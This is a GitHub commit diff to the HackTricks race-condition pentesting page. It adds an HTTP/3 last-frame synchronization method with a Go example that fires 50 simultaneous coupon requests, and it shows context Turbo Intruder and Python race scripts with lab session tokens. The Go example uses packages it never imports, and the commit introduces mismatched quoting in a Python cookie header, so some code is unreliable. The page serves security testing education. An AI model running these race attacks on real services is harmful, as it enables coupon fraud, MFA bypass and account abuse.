Skip to content

Commit 087bb17

Browse files
author
HackTricks News Bot
committed
Add content from: Research Update: Enhanced src/pentesting-web/race-condition....
1 parent 736cec3 commit 087bb17

File tree

1 file changed

+45
-12
lines changed

1 file changed

+45
-12
lines changed

src/pentesting-web/race-condition.md

Lines changed: 45 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -25,6 +25,41 @@ Here you can find some techniques for Synchronizing Requests:
2525

2626
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
2727

28+
#### HTTP/3 Last‑Frame Synchronization (QUIC)
29+
30+
- **Concept**: HTTP/3 rides over QUIC (UDP). There’s no TCP coalescing or Nagle to rely on, so classic last‑byte sync doesn’t work with off‑the‑shelf clients. Instead, you need to deliberately coalesce multiple QUIC stream‑final DATA frames (FIN) into the same UDP datagram so the server processes all target requests in the same scheduling tick.
31+
- **How to do it**: Use a purpose‑built library that exposes QUIC frame control. For example, H3SpaceX manipulates quic-go to implement HTTP/3 last‑frame synchronization for both requests with a body and GET‑style requests without a body.
32+
- Requests‑with‑body: send HEADERS + DATA minus the last byte for N streams, then flush the final byte of each stream together.
33+
- GET‑style: craft fake DATA frames (or a tiny body with Content‑Length) and end all streams in one datagram.
34+
- **Practical limits**:
35+
- Concurrency is bounded by the peer’s QUIC max_streams transport parameter (similar to HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). If it’s low, open multiple H3 connections and spread the race across them.
36+
- UDP datagram size and path MTU cap how many stream‑final frames you can coalesce. The library handles splitting into multiple datagrams if needed, but a single‑datagram flush is most reliable.
37+
- **Practice**: There are public H2/H3 race labs and sample exploits accompanying H3SpaceX.
38+
39+
<details>
40+
<summary>HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example</summary>
41+
42+
```go
43+
package main
44+
import (
45+
"crypto/tls"
46+
"context"
47+
"time"
48+
"github.com/nxenon/h3spacex"
49+
h3 "github.com/nxenon/h3spacex/http3"
50+
)
51+
func main(){
52+
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
53+
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
54+
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
55+
var reqs []*http.Request
56+
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
57+
// keep last byte (1), sleep 150ms, set Content-Length
58+
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
59+
}
60+
```
61+
</details>
62+
2863
### Adapting to Server Architecture
2964

3065
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
@@ -39,7 +74,7 @@ If connection warming is ineffective, triggering web servers' rate or resource l
3974

4075
## Attack Examples
4176

42-
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
77+
- **Turbo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
4378

4479
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
4580

@@ -54,7 +89,7 @@ If you are going to **send different values**, you could modify the code with th
5489
> [!WARNING]
5590
> If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
5691
57-
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
92+
- **Turbo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
5893

5994
```python
6095
def queueRequests(target, wordlists):
@@ -112,14 +147,14 @@ cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA
112147

113148
headersObjetivo= """accept: */*
114149
content-type: application/x-www-form-urlencoded
115-
Cookie: """+cookie+"""
150+
Cookie: "+cookie+"""
116151
Content-Length: 112
117152
"""
118153
119154
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
120155
121156
headersVerification= """Content-Length: 1
122-
Cookie: """+cookie+"""
157+
Cookie: "+cookie+"""
123158
"""
124159
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
125160
@@ -235,10 +270,10 @@ while "objetivo" not in response.text:
235270
236271
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
237272
238-
Note that although this improvement makes the attack more reliable in RC that requiers hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, other like NodeJS and nghttp2 has it unlimited.\
239-
This basically mean that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack).
273+
Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict `SETTINGS_MAX_CONCURRENT_STREAMS` setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.\
274+
This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections.
240275
241-
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
276+
You can find some examples using this technique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
242277
243278
## Raw BF
244279
@@ -378,7 +413,7 @@ if user.mfa_enabled:
378413
### OAuth2 eternal persistence
379414
380415
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\
381-
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
416+
So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application <InsertCoolName> wants to access you information, do you want to allow it?_"
382417
383418
#### Race Condition in `authorization_code`
384419
@@ -404,9 +439,7 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
404439
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
405440
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
406441
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
442+
- [H3SpaceX (HTTP/3 last‑frame sync) – Go package docs](https://pkg.go.dev/github.com/nxenon/h3spacex)
443+
- [PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)](https://routezero.security/2024/11/17/introducing-packetsprinter-for-burp-suite-simplifying-http-2-single-packet-attack-testing/)
407444
408445
{{#include ../banners/hacktricks-training.md}}
409-
410-
411-
412-

0 commit comments

Comments
 (0)